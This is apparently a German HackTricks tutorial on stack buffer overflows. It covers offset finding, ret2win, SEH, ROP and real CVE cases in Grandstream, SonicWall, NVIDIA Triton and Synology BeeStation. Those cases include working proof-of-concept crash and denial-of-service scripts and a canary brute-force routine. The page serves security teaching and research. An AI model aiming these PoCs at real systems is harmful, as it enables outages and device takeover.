Stack Overflow
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Was ist ein Stack Overflow
A stack overflow ist eine Schwachstelle, die auftritt, wenn ein Programm mehr Daten auf den stack schreibt, als dafür zugewiesen sind. Diese überschüssigen Daten werden den benachbarten Speicherbereich überschreiben, was zur Korruption gültiger Daten, zur Störung des Kontrollflusses und möglicherweise zur Ausführung bösartigen Codes führen kann. Dieses Problem entsteht häufig durch die Verwendung unsicherer Funktionen, die keine Grenzprüfung auf Eingaben durchführen.
Das Hauptproblem dieser Überschreibung ist, dass der saved instruction pointer (EIP/RIP) und der saved base pointer (EBP/RBP), die zum Zurückkehren in die vorherige Funktion nötig sind, auf dem stack gespeichert werden. Daher kann ein Angreifer diese überschreiben und den Ausführungsfluss des Programms kontrollieren.
Die Schwachstelle entsteht normalerweise, weil eine Funktion mehr Bytes innerhalb des stack kopiert, als ihr zugewiesen wurden, und dadurch andere Teile des stack überschreiben kann.
Einige häufig anfällige Funktionen sind: strcpy, strcat, sprintf, gets … Auch Funktionen wie fgets, read & memcpy, die ein Längenargument akzeptieren, können in einer unsicheren Weise verwendet werden, wenn die angegebene Länge größer ist als die zugewiesene.
Zum Beispiel könnten die folgenden Funktionen anfällig sein:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Offsets für Stack Overflows finden
Die häufigste Methode, um Stack Overflows zu finden, besteht darin, eine sehr große Eingabe aus As zu senden (z. B. python3 -c 'print("A"*1000)') und auf einen Segmentation Fault zu warten, der darauf hinweist, dass versucht wurde, auf die Adresse 0x41414141 zuzugreifen.
Außerdem musst du, sobald du festgestellt hast, dass eine Stack Overflow vulnerability besteht, den Offset ermitteln, bis zu dem es möglich ist, die return address zu überschreiben. Dafür wird üblicherweise eine De Bruijn sequence verwendet. Diese ist für ein gegebenes Alphabet der Größe k und Teilsequenzen der Länge n eine zyklische Sequenz, in der jede mögliche Teilsequenz der Länge n genau einmal als zusammenhängende Teilsequenz vorkommt.
Auf diese Weise muss man nicht per Hand herausfinden, welcher Offset nötig ist, um den EIP zu kontrollieren; stattdessen kann man eine dieser Sequenzen als Padding verwenden und dann den Offset der Bytes finden, die ihn schließlich überschrieben haben.
Dafür kann man pwntools verwenden:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
oder GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Ausnutzen von Stack Overflows
Während eines Overflows (vorausgesetzt die Overflow-Größe ist groß genug) kannst du Werte lokaler Variablen im Stack überschreiben, bis du die gespeicherten EBP/RBP and EIP/RIP (or even more) erreichst.
Die gebräuchlichste Methode, diese Art von Vulnerability auszunutzen, ist das Modifizieren der return address, sodass beim Funktionsende der control flow an die vom Angreifer bestimmte Stelle umgeleitet wird.
In anderen Szenarien kann es jedoch ausreichend sein, einfach einige Variablewerte im Stack zu überschreiben, um die Exploitation zu ermöglichen (z. B. in einfachen CTF-Challenges).
Ret2win
In diesem Typ von CTF-Challenges gibt es eine Funktion inside das Binary, die nie aufgerufen wird und die du aufrufen musst, um zu gewinnen. Für diese Challenges musst du nur den Offset finden, um die return address zu überschreiben, und die Adresse der Funktion ermitteln, die aufgerufen werden soll (meistens ist ASLR deaktiviert), sodass beim Rückkehr der verwundbaren Funktion die versteckte Funktion aufgerufen wird:
Stack Shellcode
In diesem Szenario kann der Angreifer einen shellcode im Stack platzieren und die kontrollierte EIP/RIP ausnutzen, um zum Shellcode zu springen und beliebigen Code auszuführen:
Windows SEH-based exploitation (nSEH/SEH)
Unter 32-bit Windows kann ein Overflow statt der gespeicherten return address die Structured Exception Handler (SEH) Kette überschreiben. Bei der Exploitation wird typischerweise der SEH-Pointer durch ein POP POP RET-Gadget ersetzt und das 4-Byte nSEH-Feld für einen kurzen Jump verwendet, um zurück in den großen Buffer zu pivotieren, der den Shellcode enthält. Ein häufiges Muster ist ein kurzer jmp in nSEH, der auf einen 5-Byte near jmp landet, der direkt vor nSEH platziert ist, um hunderte Bytes zurück zum Payload-Start zu springen.
ROP & Ret2… techniques
Diese Technik ist das grundlegende Framework, um die wichtigste Protection der vorherigen Technik zu umgehen: No executable stack (NX). Sie erlaubt zudem mehrere andere Techniken (ret2lib, ret2syscall…), die letztlich durch Ausnutzen vorhandener Instruktionen im Binary beliebige Befehle ausführen:
Heap Overflows
Ein Overflow findet nicht immer im Stack statt; er kann zum Beispiel auch im heap auftreten:
Types of protections
Es gibt mehrere Protections, die versuchen, das Ausnutzen von Vulnerabilities zu verhindern — siehe dazu:
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2026-2329 (Grandstream GXP1600 unauthenticated HTTP stack overflow)
/app/bin/gs_web(32-bit ARM) exponiert/cgi-bin/api.values.getauf TCP/80 ohne Authentifizierung. Der POST-Parameterrequestist durch Doppelpunkte getrennt; jedes Zeichen wird inchar small_buffer[64]kopiert und das Token wird bei:oder Ende NUL-terminiert, ohne irgendeine Längenprüfung, wodurch ein einzelnes überlanges Token die gespeicherten Register/return address zerschlagen kann.- PoC Overflow (crasht und zeigt Angreifer-Daten in Registern):
curl -ik http://<target>/cgi-bin/api.values.get --data "request=$(python3 - <<'PY'\nprint('A'*256)\nPY)". - Delimiter-driven multi-NUL placement: Jeder Doppelpunkt startet die Parsing-Phase neu und fügt ein nachgestelltes NUL an. Durch die Verwendung mehrerer überlanger Identifier kann der Terminator jedes Tokens auf unterschiedliche Offsets im korrumpierten Frame ausgerichtet werden, wodurch der Angreifer mehrere
0x00Bytes platzieren kann, obwohl jeder Overflow normalerweise nur ein NUL hinzufügt. Das ist entscheidend, weil das non-PIE Binary bei0x00008000gemappt ist, sodass ROP-Gadget-Adressen NUL-Bytes enthalten. - Beispiel-Colon-Payload, um fünf NULs an gewählten Offsets abzulegen (Längen auf Layout abgestimmt):
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE checkseczeigt NX enabled, no canary, no PIE. Die Exploitation verwendet eine ROP-Kette aus festen Adressen (z. B. Aufruf vonsystem()gefolgt vonexit()), wobei Argumente nach dem Setzen der benötigten NUL-Bytes mit dem Delimiter-Trick vorbereitet werden.
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
Eine gute Demonstration, warum man sscanf niemals für das Parsen untrusted input trauen sollte, zeigte sich 2025 in SonicWall’s SMA100 SSL-VPN Appliance.
Die verwundbare Routine in /usr/src/EasyAccess/bin/httpd versucht, die Version und den Endpoint aus jeder URI zu extrahieren, die mit /__api__/ beginnt.
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- Die erste Konversion (
%2s) speichert sicher zwei Bytes inversion(z. B."v1"). - Die zweite Konversion (
%s) hat keinen Längenbegrenzer, daher wirdsscanfweiter kopieren bis zum ersten NUL byte. - Weil
endpointauf dem stack liegt und 0x800 bytes long, führt das Angeben eines Pfads, der länger als 0x800 bytes ist, zur Beschädigung aller Daten, die nach dem buffer liegen ‑ einschließlich des stack canary und der saved return address.
Ein einzeiliger proof-of-concept reicht aus, um den Crash vor der Authentifizierung auszulösen:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Obwohl stack canaries den Prozess abbrechen, erhält ein Angreifer trotzdem eine Denial-of-Service-Primitive (und, mit zusätzlichen information leaks, möglicherweise code-execution).
Reales Beispiel: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA’s Triton Inference Server (≤ v25.06) enthielt mehrere stack-based overflows, die über seine HTTP API erreichbar waren.
Das verwundbare Muster trat wiederholt in http_server.cc und sagemaker_server.cc auf:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek(libevent) gibt die Anzahl der internen Puffersegmente zurück, die den aktuellen HTTP-Request-Body zusammensetzen.- Jedes Segment führt dazu, dass ein 16-byte
evbuffer_iovecviaalloca()auf dem stack alloziert wird – ohne obere Grenze. - Durch Missbrauch von HTTP chunked transfer-encoding kann ein Client die Anfrage so zwingen, dass sie in Hunderttausende von 6-byte chunks (
"1\r\nA\r\n") aufgeteilt wird. Dadurch wächstnunbegrenzt, bis der stack erschöpft ist.
Proof-of-Concept (DoS)
Chunked DoS PoC
```python #!/usr/bin/env python3 import socket, sysdef exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()
if name == “main”: exploit(*sys.argv[1:])
</details>
Eine ~3 MB-Anfrage reicht aus, um die saved return address zu überschreiben und einen **crash** des daemon bei einem default build zu verursachen.
### Reales Beispiel: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)
Die Pwn2Own-2025-Kette von Synacktiv missbrauchte einen pre-auth overflow in `SYNO.BEE.AdminCenter.Auth` auf Port 5000. `AuthManagerImpl::ParseAuthInfo` dekodiert mittels Base64 die Angreifer-Eingabe in einen 4096-Byte-Stack-Puffer, setzt aber fälschlicherweise `decoded_len = auth_info->len`. Da der CGI worker pro Anfrage forked, erbt jedes child den parent’s stack canary, sodass eine stabile overflow primitive ausreicht, um sowohl den Stack zu korruptieren als auch alle benötigten secrets zu leaken.
#### Base64-dekodiertes JSON als strukturierter overflow
Der dekodierte Blob muss gültiges JSON sein und die Keys `"state"` und `"code"` enthalten; andernfalls wirft der parser, bevor der overflow nützlich wird. Synacktiv löste das, indem sie eine Base64-encodierte Nutzlast verwendeten, die zu JSON decodiert, dann ein NUL byte, dann den overflow-Stream. `strlen(decoded)` stoppt am NUL, sodass das Parsen gelingt, aber `SLIBCBase64Decode` hatte bereits den Stack über das JSON-Objekt hinaus überschrieben und deckte den canary, saved RBP und die return address ab.
```python
pld = b'{"code":"","state":""}\x00' # JSON accepted by Json::Reader
pld += b"A"*4081 # reach the canary slot
pld += marker_bytes # guessed canary / pointer data
send_request(pld)
Crash-oracle bruteforcing of canaries & pointers
synoscgi forkt einmal pro HTTP-Anfrage, sodass alle Child-Prozesse denselben canary, dasselbe stack layout und dieselbe PIE slide teilen. Der Exploit behandelt den HTTP-Statuscode als Oracle: eine 200-Antwort bedeutet, dass das erratene Byte den Stack erhalten hat, während 502 (oder eine abgebrochene Verbindung) bedeutet, dass der Prozess abgestürzt ist. Durch serielles Brute-Forcing jedes Bytes werden der 8-byte canary, ein saved stack pointer und eine return address innerhalb von libsynobeeadmincenter.so wiederhergestellt:
def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")
bf_next_ptr ruft einfach bf_next_byte achtmal auf und hängt dabei das bestätigte Prefix an. Synacktiv parallelisierte diese oracles mit ~16 worker threads, wodurch die gesamte leak time (canary + stack ptr + lib base) auf unter drei Minuten reduziert wurde.
Von leaks zu ROP & Ausführung
Sobald die library base bekannt ist, bauen common gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) eine arb_write-Primitive auf, die /bin/bash, -c und den Angreiferbefehl auf der leaked stack address platziert. Abschließend richtet die Kette die Aufrufkonvention für SLIBCExecl (einen BeeStation-Wrapper um execl(2)) ein und liefert eine root shell, ohne einen separaten info-leak bug zu benötigen.
References
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- Synacktiv – Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey
- Rapid7 – CVE-2026-2329 unauthenticated stack overflow in Grandstream GXP1600
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


